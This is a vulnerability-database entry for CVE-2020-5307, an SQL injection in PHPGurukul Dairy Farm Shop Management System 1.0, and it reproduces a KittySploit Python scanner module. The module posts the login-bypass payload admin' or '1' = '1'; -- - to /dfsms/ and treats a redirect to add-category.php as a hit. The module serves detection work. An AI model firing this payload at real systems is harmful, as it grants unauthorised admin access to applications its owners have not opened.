Lucene search
+L

PHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

SQL injection in PHPGurukul Dairy Farm Shop Management System via multiple parameters.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2020-5308
7 Jan 202019:15
–attackerkb
attackerkb
attackerkb
CVE-2020-5307
7 Jan 202019:15
–attackerkb
circl
Circl
CVE-2020-5307
9 Jan 202415:47
–circl
cnvd
CNVD
Dairy Farm Shop Management System SQL Injection Vulnerability
8 Jan 202000:00
–cnvd
cve
CVE
CVE-2020-5307
7 Jan 202018:58
–cve
cvelist
Cvelist
CVE-2020-5307
7 Jan 202018:58
–cvelist
euvd
EUVD
EUVD-2020-26494
7 Oct 202500:30
–euvd
nuclei
Nuclei
PHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection
20 Oct 202602:05
–nuclei
nvd
NVD
CVE-2020-5307
7 Jan 202019:15
–nvd
osv_cve
osv_cve
CVE-2020-5307
7 Jan 202019:15
–osv_cve
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PHPGurukul Dairy Farm Shop Management System 1."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'PHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection Detection',
        'description': 'PHPGurukul Dairy Farm Shop Management System 1.0 is vulnerable to SQL injection, as demonstrated by the username parameter in index.php, the category and CategoryCode parameters in add-category.php, the CompanyName parameter in add-company.php, and the ProductName and ProductPrice parameters in add-product.php.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2020', 'sqli', 'edb', 'phpgurukul', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://cinzinga.com/CVE-2020-5307-5308/',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-5307',
            'https://www.exploit-db.com/exploits/47846',
            'https://cinzinga.github.io/CVE-2020-5307-5308/',
        ],
        'cve': 'CVE-2020-5307',
    }

    def run(self):
        path = '/dfsms/'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='username=admin%27+or+%271%27+%3D+%271%27%3B+--+-&password=A&login=\n')
        if not r or r.status_code != 302:
            return False
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        header_any = ('add-category.php',)
        if any(m in headers for m in header_any):
            self.set_info(severity='critical', reason='PHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 27.5
CVSS 3.19.8
EPSS0.16632
3